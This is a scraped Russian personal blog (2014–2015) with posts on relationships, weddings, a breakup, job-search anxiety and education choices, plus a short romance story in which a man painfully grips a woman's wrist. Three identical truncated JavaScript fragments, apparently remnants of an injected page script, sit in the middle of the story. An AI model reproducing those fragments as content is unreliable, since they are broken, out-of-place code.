Блог О пользователеsolnzlol

Регистрация

Календарь

<< Декабрь 2015  

Пн Вт Ср Чт Пт Сб Вс
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31

На странице

  • 22 декабря 2015 | 20:18 Превратности судьбы 

    Я вынесла достаточно дерьма в свою сторону. Ведь быть идеально для всех нереально, а я и не пытаюсь. Будь честной. Вот мое правило.

    И я признаю, что хочу «красивых отношений». Что бы можно было, выставить кучу красивых совместных фоток, что бы на вас смотрели и завидовали, какие вы оба красивые. Да. Оба. Потому что я считаюсь себя красивой. Но походу, судьба другого мнения о моем счастье. И если оно скрывается в парне маленького роста, с кривыми зубами и ужасным дыханиям. То, наверное, я это заслужила.

    Я не говорю, что такие парни плохи. Наоборот, такие парни прекрасны. Они добрые, джентльмены и очень уважают тебя.. Чаще всего, такие парни готовы, на все ради твоего счастья. И это очень классно.

    И я не удивлена, что судьба посылает мне их. Что прошу, то и получаю. Прошу,: «счастливых, взаимных отношения», пожалуйста. Вот только «обертка», пообмялась. Но подарку в зубы не смотрят.

    Хотя у нас всегда есть выбор. Мы можем отказаться. Выбрать сами и мучиться со своим выбором. В мое случае, все именно так. Все те, кого выбираю я, приносят в мою жизнь лишь кучу мороки и страданий. А судьба на «упаковку»  для подарка поскупилась.

    Невероятно, но факт, что, то что все те парни с толстым пузом, прыщавым лицом и кривым прикусом, и есть подарок, я поняла только сейчас!

    И раз это так. То у меня два выхода. Либо смиренно принять подарок и стараться смотреть лишь на положительные стороны «подаренного» молодого человека. Либо отказать от него в очередной раз, и выбрать со мой.

    Не судите меня строго) Кто не хочет прекрасного принца на белом порше?!

     

    Просто не все признаются. 

     

  • 2 декабря 2015 | 19:21 Статья № 2 

    Свадьба. Для девушки самое значимое событие жизни. Особенно, когда свадьба в первый раз. Как только, мы начинаем думать о будущем, мы начинаем строить планы и планировать свою «идеальную свадьбу».

    И у меня есть свой план. Где будет церемония, какая она будет, в чем ты будешь, сколько гостей, какая музыка и т.д..  И в ожидании того сама дня, проходят большая часть долгих отношений. И даже несмотря на то, что они могут закончится, у тебя есть свой универсальный «образ», своей «идеальной свадьбы»(меняются только мелкие детали). И чем старше ты становишься, тем более реалистичнее становиться этот «образ». Ведь подключаются такие делали, как: деньги и время. Но это не изменяет того, что свадьба должна быть И-Д-Е-А-Л-Ь-Н-О-Й!

    Единственным исключением становиться-любовь. Когда ты встречаешь человека, с котором ты хочешь сыграть свою свадьбу, но у вас нет средств на нее или у вас нет достаточно времени, чтобы ее организовать.  Любовь. Одно чувство, которое посылает ко всем чертям, весь этот «образ». Тебе все равно будет ли она идеальна или будет ли она вообще. Все что тебя волнует, это то, что Он будет с тобой.

    День свадьбы. У вас было достаточно времени, денег и всего остального для организации этого дня. Но, по закону подлости, что-то идет не так. Вы опаздываете в ресторан, ты порвала платье, твой отец напился на радости и устроил дебош. Все что угодно, могло пойти не так. И как бы, ты отреагировала на такую ситуацию? Дай угадаю. Ты не будешь психовать, для тебя это не имеет значения, ведь этот день самый счастливый в твоей жизни, ведь ты выходишь замуж. Так ведь. Но не так! Ты будешь психовать! И еще как! Потому что это твой день, твой «Идеальный день». А знаешь, почему ты думаешь, что не будешь паниковать, потому что ты, представляя этот день, представляешь и то, что это будет «любовь». Это будет свадьба по любви. А когда ты любишь, когда любят тебя,  ничего не имеет значения. Будет это скромная или шикарная свадьба. Ты выходишь замуж за любимого человека! Именно поэтому, даже если ты организуешь свою «идеальную свадьбу», она таковой не будет, если человека за которого ты выходишь , ты не любишь (еще хуже, если он не любит тебя).

     

    Наши мечты, это утопия, в которой, ты любишь, тебя любят и все идет по твоему плану. Поэтому, основной частью мечты об «идеальной свадьбе» должен быть твой избранник. Потому что, если с тобой рядом будет тот, кто не осудит тебя за потекшую тушь, пьяного отца или за твою не пунктуальность, а наоборот будет поддерживать и в твой день смотреть только на тебя…. То пусть хоть вся свадьба идет кувырком!

  • 30 ноября 2015 | 22:35 Статья № 1 

    Странное дело. Для меня обсуждения секса с мужчиной-другом, ни когда не было, какой то проблемой. Но вот разговор с любимым-мужчиной, превращался в какой то ад. Я не могла подобрать слова и краснела как рак. Для меня это было целой историей. Как объяснить любимому, чего ты хочешь. Да, вроде бы, если ты доверяешь человеку, то не должно быть проблемы с выражением своих желаний и потребностей. Но и тут, страх быть не понятой и не услышанной, не меньше, чем вовсе с незнакомцем.

    Как же бороться с таким видом страха. Ведь мы все хотим, чтобы хорошо было не только «им» , но и нам.

    На всех форумах, твердят о том, что  нужно «разговаривать» со своим избранником. А как! Как ему объяснить, что это не он плохой ,а я не особо чувствительна или, что его словечки, о которых ты его попросила ранее, не очень звучат в его исполнении. Мужчины же, существа особо ранимые, им же слово не скажи, сразу начнется: «ну ты ж сама просила.» «я вообще это только ради тебя делаю».

    Да, конечно, есть и те кто так не говорит и все понимают и все делаю. Но в основной массе, это мужчины явно старше 24. до этого же, для них, как для начинающих спортсменов, любое наше недовольство, все равно, что полный провал. И вот как прикажите с такими строить серьезные отношения?!

    Молчать в тряпочку? Может я чего еще не понимаю, но уж точно знаю одно. Для «мальчиков» любое женское слова, касающееся секса, все равно, что приговор на расстрел. Так что с ними необходимо быть деликатнее. И если вы так любите своего суженного то молчите и может он сам поймет. А вот тем, кто терпеть не намерен, придется тчательнее подбирать слова.

     

    Отсюда и наше смущение. Мы боимся ранить наших дорогих мужчин. 

  • Странное дело! Я устроилась на работу. Но странное случилось до того, как я это узнала. Я вышла после собеседования и со мной вместе вышел парень. Мы вместе проходили собеседование, и он подождал меня и предложил вместе пойти к метро раз ехать почти в одну сторону. Мы разговорились, он оказался очень приятным молодым человеком, но он сразу упомянул о своей девушки, поэтому я поняла, что с ним обойдусь просто общением. Когда мы сели в метро я точно знала на какой мне выходить, но мы с ним разговорились, и я не заметила, как мы подъехали к моей остановке, я уже вышла из поезда, и обернувшись увидела, как он стоит на месте, и я будучи полностью уверенной что это моя остановка, запрыгнула обратно в вагон. Мне пришлось сделать здоровый круг на метро, чтобы в итоге оказаться там, где мне нужно. И теперь я задаюсь вопросом: Почему я вошла обратно в вагон? Почему будучи, уверенной, что это моя станция, что у него есть девушка, а значит мне в принципе не чего тут ловить, обернувшись я вернулась?! Все так странно получилось! В итоге мы обменялись контактами, и поболтали еще минут 10—15. И разошлись. При этом, я была совершенно не расстроена, или огорчена, тем, что проехала свою остановку, не успела на электричку, на которую торопилась. Все это меня совершенно не волновало, я была наоборот, безумно счастлива. С тех пор мы не обменялись больше не словечком. Но я очень рада, что встретила его и проехала свою остановку. Все это очень странно. Наверное, так оно и должно было быть. Может, сейчас я и не понимаю, к чему было все это, но обязательно пойму! 

  • 28 сентября 2015 | 23:43 А могло ли..? 

    Она подошла к нему ближе.
    - Ответь мне на не сколько вопросов.- Он смотрел на нее и не понимал, от куда такое волнение в ее голосе.- Только, не задавай лишних вопросов.

    Ее щеки краснели, она перебирала руками кромку кофты. Он смотрел на нее, от ее близости у него пересохло в горле, в голову приходили лишь воспоминания о той ночи. Она посмотрела на него в ожидании согласия. Он мотнул головой.

    - Ты не изменил своего мнения об отношениях?

    - Нет.

    - Тогда… тогда дальнейший разговор не имеет значение.

    От такого резкого поворота у него отвисла челюсть. Она сделала шаг от него, и собралась уже уходить. Он схватил ее за руку и дернул к себе. От его прикосновений ее сердце стало биться чаще. Как он может иметь над ней такую власть.

    - Стой. Что ты хотела сказать? И почему мое мнение об отношениях, так важно? – Его голос был низок и грубоват. Он крепко сжимал ее кисть. Было больно, но приятно. Как ловко он всегда применяет силу. – Ну..?

    - Просто. Я хотела знать. – Она пыталась выдернуть руку.

    - Зачем? – Он сжал руку еще сильнее. Теперь стало, только больно. Его тон стал грубее. Терпение было на исходе.

    - Потому что, мне было интересно. Какая разница? – Она не хотела ни чего объяснять, теперь для нее это не имело значение. Он против отношений, дальше разговаривать не о чем. Ну вот. Слезы. Ей хочется плакать, от досады или от боли, не важно. Плакать перед ним она не могла себе позволить. – Опусти! – Она еще раз попыталась вырвать руку.

    - Нет, ответь! – Он снова дернул ее к себе, схватив другой рукой за предплечье.

    - Потому что…- Она опустила голову внизу, пытаясь отступить назад.

    - ПОЧЕМУ? – Он крикнул. Его терпение было на пределе. Он не понимал, почему она вновь и вновь, то притягивает его, то снова убегает прочь, как от огня. Эти игры, уже сидели у него в печенках, теперь он не даст ей уйти просто так, без объяснений.

    От его крика, она замерла, смотря на него, с красными, от сдерживаемых слез, глазами. Он впервые закричал на нее. И его прикосновения сейчас, приносили лишь боль.  Это было ужасно. Руки,  в которых она находила спокойствие и умиротворение, наслаждение и страсть, защиту и опору. Сейчас приносили ей невероятную боль. Собравшись с последними силами, она вырвалась и как могла, громко сказала.

    - Потому что, я хочу быть с тобой!- Она стояла в двух шагах от него, из ее глаз потекли сдерживаемые слезы. Он смотрел на нее, с округлившимися от шока глазами. Так вот, что она хотела сказать, вот к чему этот вопрос, про отношения. Она опустила голову, вытирая лицо от слез.- Я хочу, что бы ты был со мной. Не одну ночь, а всегда. Хочу, что бы ты был только мой. Меня мучает вопрос: «А могло ли у нас, что то сложиться?». Но если… если ты не изменил своего мнение об отношениях, нет смысла тебе знать о моих «хочу». Нет смысла, больше встречаться и надеяться, что, что то изменится.

    Он стоял и смотрел, как она потирает кисть, за которую он держал ее. Был виден не большой след от его пальцев. Черт, ее вид в этот момент, кольнул иголкой его сердце. Она была разбита, уничтожена его самолюбием и гордыней. Это не она играла с ним, а он. Он не думал о том, что чувствует она, каждый раз когда, видит его с другими после их ссоры. Она каждый раз ждала, что он придет к ней, а он уходил глушить свою обиду и злобу в постель к другой. Сейчас он чувствует себя ничтожеством. Весь пазл отношений между ними, за последние пол года, собрался в единую картину. Его чувства, ее чувства.

     

    Он провел рукой по волосам….

    // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

    // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

    // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

  • Конечно, все так просто не закончилось. Благо со мной рядом любящие меня люди, которые не дали мне погибнуть. Сейчас у меня все на высшем уровне. Я счастлива и вдохнавлена. А недавний отпуск еще и придал новую порцию сил. Все, что я описала, были ужасные дни… Но… Что нас не убивает, делает нас сильнее! 

  • 17 августа 2015 | 21:17 Прошел год..! 

    Тогда я и решилась на то, чего от себя я не ожидала.

    «Мистер X». Он был груб, самоуверен и просто непереносим. Для меня он был шагом прочь от прошлого. Упорно отключая все эмоции, будучи уверенной, что так лучше,  мне стало любопытно смогу ли я, быть с тем к кому ни чего не испытываю. Все чего я хотела это «секса без обязательств» , и хотела я этого именно с ним. Все было хорошо,  пока в один момент я не поняла, что просто секса мне мало.  Я знала, что большего он мне не сможет дать, поэтому нужно было просто уйти. Меня снова переполняли чувства. Он стал для меня привлекательной альтернативой одиночеству. Очень-очень жаль, что у нас так и ни чего не сложилось, да и, наверное, не могло сложиться. Ведь чувства были лишь у меня. Как бы то ни было, с помощью него я поняла, что основой меня сомой, есть и будут эмоции и чувства, и без них я не могу строить какие либо отношения.

    Закончилось все не слишком красиво. Но это совсем другая история.

    Во мне все так же оставалась много пустоты и полная неуверенность в себе. Мне нужно было найти работу (ведь с расставанием я уволилась с прошлой работы). К сожалению, теперь меня одолевал жуткий страх неминуемой неудачи. Мне казалось, что, что бы я ни сделала или сказала, все изначально не правильно и не верно. От этого на то, что бы просто сходить и узнать есть ли работа, у меня уходило как минимум дня три. И все это время я уговаривала себя, что все будет хорошо. Но, оказалось, найти достойную работу, без знакомых не так уж и просто. Мне отказывали, и после каждого отказала я все больше и больше замыкалась в себе. На 104 отказ я не выдержала и разревелась. Мне стало проще вовсе не искать и не пробовать, чем снова и снова переживать неудачи, которые не лучшим образом действовали на мою самооценку. Я пыталась найти, что то, что помогло бы мне достаточно утвердиться для дальнейших действий, но и тут я не находила ни чего дельного. Неделя за неделей я стала превращаться в домохозяйку. Сидела дома, и каждый день убиралась, мыла и готовила. Мои увлечения свелись к чистоте в доме и сериалам по ТВ. Помогало ли мне это как то?! Не сколько, чем дольше все это продолжалось, тем сильнее меня это угнетало. Получалось так: я сижу дома-мне плохо, я ищу работу –мне плохо. Меня все угнетало и утешения не было. Спасибо мои друзьям, которые пытались меня расшевелить и помочь. Даже когда появилась возможность устроиться на неплохую работу, во мне все еще борется чувство страха. Надеюсь, у меня появятся силы победить неуверенность и сделать все, что бы навсегда закрыть эти кошмарные страницы моей жизни.

     После всего, что я пережила за эти два года (один год в отношениях и один после расставания), мне хочется верить, что я стала умнее и мудрее. Для себя я сделала вывод: ни кто не достоин того, что бы портить взаимоотношения с родными и близкими; если тебе нужно жертвовать кем-то или чем-то ради кого то, но этот человек не делает того же в ответ, не стоит он того; я ни когда больше не позволю кому бы то ни было, угнетать себя; мне не нужен человек, который не верит в меня; если я с первых дней буду видеть, что человек не ценит не меня, не мои старания , нужно уходить и ни когда не оборачиваться; порой мечты должны оставаться лишь мечтами; цени и уважай себя и свои интересы!

     

    Надеюсь, моя история поможет кому-нибудь не совершить таких же ошибок. И покажет, как трудно может быть потом, собирать разбитое сердце и расколотую душу. Я любила, но как это часто бывает- моя первая любовь была не самой удачной.

  • 16 августа 2015 | 16:36 Прошел год..! 

    Забавно. Как много всего я хотела бы написать или сказать, но так и ни чего не написала. Все мои мысли кажутся глупыми и пустыми.

    Почти год прошел с того момента как я поставила точку в своих чувствах к К., и я долго думала , что же я все таки к нему чувствовала и что чувствую сейчас?! И знаете, я точно его любила! Любила так как умела и всем сердцем, надеялась и готова была пройти через многое, сделать для него многое… Но когда я поняла, что все мои усилия, все мои чувства отражаются в одной лишь его глупой, натянутой улыбки после секса, мне стала так больно и обидно. Все что ему нужно было от меня это секс, который он получал тогда когда ему нужно, а все мои подарки, слова и чувства к нему, лишь приятное дополнение. Наверное, если бы я ни чего не чувствовала к нем, все было бы по другому: мы бы все еще были вместе, он приезжал раз-два в месяц мы спали и он уезжал. Возможно даже, мое безразличие к его персоне его заинтриговало и он бы влюбился в меня..! Но я бы так не смогла! Я бы все равно, что то начал чувствовать к нему и снова все стало так как было. После расставания я успокаивала себя мыслями, что это все к лучшему, что это хороший урок для меня. Но какой бы урок это не был, мне было безумно больно. Рядом с ним я забыла , что есть еще какие либо мужчины, все они спустились до уровня «друг\знакомый», не больше не меньше. Когда мы расстались, я осталась одна! Рядом были лишь родные, с которыми у меня были не самые лучшие отношения, Марина и… и бутылка! Я думала, что не смогу жить потеряв надежду на то что у меня что то могло сложиться с К., но нет! Я была опустошенная, уставшая и бесповоротно разочарованна. Смиритьсь с мыслью, что все уже не вернуть назад где то через два месяца, потом я встретила замечательного человека, и впервые за долгое время искренне улыбнулась.

    Сосед! Он стал началом новой главы в моей жизни. Он не вернул мне веру в любовь и не заполнил пустоту. Он просто показал, какая я прекрасная, какая я сильная. Больше всего я благодарна ему за то, что он верил в меня, в мои идеи и мечты. К. никогда не верил, что у меня все получиться и всегда утверждал, что все мои мечты лишь фантазия. Убитая самооценка, сказывалась во всем. Мне казалось (да и кажется), что все что я делаю, изначально обреченно на провал. Сосед же, наоборот видел в моих мечтах- цель, к которой нужно лишь выстроить путь. И он не просто говорил, он делал! Он предлагал варианты решения того или иного вопроса, задавал правильные вопросы, о том чего я хочу и как этого достичь. Когда я решила уйти на заоч. он безумно злился! Это было очень приятно! Но и он был лишь проходящим моментом моей жизни. Он не ушел на всегда, он всегда будет рядом , в квартире N 12, за стенкой! И все же, он навсегда останется только там! Сейчас он строит свою личную жизнь и до меня ему нет особого дела, но я знаю, что когда я позвоню и попрошу помощи он обязятельно придет!

     

    Вернув горсть веры в себя, я принялась за следующее, что меня беспокоило, что было основой моих стремлений и действий. Чувства! Внутренняя опустошенность, заключалась, в большой степени, в отсутствии каких либо чувств, к чему бы то не было! Правда было одно что я чувствовала остро почти к большой части окружающих меня вещей- ненависть! Я ненавидела все: то чем занималась, результат свои действий, слова окружающих, действие\бездействие окружающих. Все и вся! Вследствие моих проблем с дыханием и нервами, не удивительно, что у меня начались частые приступы удушья. Тогда я решила, лучшее средство избавления от ненужных переживаний, отключение всех эмоций, вовсе. Отрешиться от сильных чувств переполняющих меня в различных ситуациях!  Получилось ли у меня это… да я и сама не поняла. Но мои попытки убеждать себя в не значительности той или иной ситуации точно работали, правда после, все равно я обдумывала и пыталась осмыслить происходящее, но уже на много спокойнее!

  • 23 октября 2014 | 23:23 Образование 

    К 18 годам перед нами встает один из важнейших выборов жизни. Мы вибираем институт или «то чем действительно хотим заниматься».

    Да, я не случайно разделила эти два понятия. Потому что, можно выбрать престижный, хороший университет с престижной, хорошо оплачиваемой, в будущем, специльностью, а можно, пойти туда где может и совсем мало платят, и совсем она не пристижная, но ты будешь вкладывать в каждый день море удовольствия и радости, потому что это то о чем ты мечтал,  и то что у тебя лучше всего получается. Так что же лучше? Престиж или призвание?

    Я к сожалению, в силу своей глупости (=тупости), слишком поздно поняла, что мне действительно нравиться и чего я хочу в этой жизни. Поэтому, когда меня спрашивают «Почему ты поступила именно сюда?», Я отвчаю просто и без иронии " Тыкнула пальцем в небо». Да, это именно так. А все потому что, когда пришло время выбирать я сама не знала «что будет правильнее», и решила послушать мнение старших и пойти туда  где " ты точно сможешь не плохо заработать и устроиться на хорошую работу». Знаю, винить ни кого нельзя, «это был твой собственный выбор… тебя ни кто не принуждал», но, простите, не могу же я винить себя?! На тот момент я почти не понимала, что будет правильно, а времени особо на раздумья не было. 

    Я не знаю, как сложилась бы моя жизнь если бы я ни кого не послушала и следуя велению своего сердца, сделала другой выбор. Но, сейчас я точно знаю, что даже не правельный выбор, хорош тем, что он дает тебе шанс понять, где тебе действительно было хорошо, а где ты просто выжbвал и это у тебя хорошо получалось. 

    Нам всем отпущено определенное количество времени, и зачем тратить это время на дело которое превратит тебя в робота, если можно посветить свою жизнь тому ради чего стоит жить. 

    Дорогие будующие выпускники, делайте правильный выбор, ведь от него зависит Ваше будуйщее!!! Не торопитесь, не бойтесь упустить год, за то когда вам будет далеко за 70, вы гордо сможете сказать: " Я был тем, кем всегда хотел! И не разу об этом не пожалел!»

  • Каждое наше действиие, несет за собой разного рода последтвие. И о том правильное ли оно было, мы можем судить, как раз из тех самых последствий. 

    НО! Как исправить то что уже сделал? Как изменить поледствия твоего решения?

    Нельзя же, просто взять и стереть слова из памяти! Или повернуть время вспять и сделать все наоборот! Нет! К сожалению, нельзя. 

    Можно, конечно, попробовать извиниться, и сделать все сначало, но уже правильно. И все же, маленькие осколки от разбившегося стекла, рано или поздно вонзяться тебе в ногу. Метафора " о разбившимся стекле», как о последствиях наших действий, действительно уместна и наиболее точно в описании чувств людей. Но в ней не говориться о том как все исправить.

    Почему нам все всегда говорят о случившемся в метафорах и поговорках?! Ведь, в них не говориться о том как все исправить! А просто констатация уже имеющегося факта, только добивает нас.

    Просить прощение и прощать, два очень важных качества в человеке. Да, конечно, нельзя простить за все. Но всегда можно извиниться. Будь то просто случайность, или намеренное (на тот момент) действие, если ты искренне сожалеешь (сейчас), ты всегда можешь извиниться. И не думаю, что за свое «Прости», стоит ждать прощения. Ведь, ты извиняешься не для этого, а просто , чтобы человек, которому ты сделал больно (или неприятно) знал — тебе жаль,что так вышло! 

    Друг- это тот человек, который зная о твои недостатках, готов поддержать тебя и просто быть рядом. Я всегда считала, что Друзья ,как ни кто должны уметь прощать друг другу оплошности, понимать и прощать. Но, наверное я в очередной раз ошибалась.  

    Сейчас, я пожимаю плоды своих прошлых действий. И только сейчас вижу, что из множества зернышек, по настоящему проросло только два. И сейчас мне придеться начать все с самого начала, «пересеять все поле», но при этом суметь сохранить и взростить, то что уже есть. 

    Посмотрим, что из  этого получиться.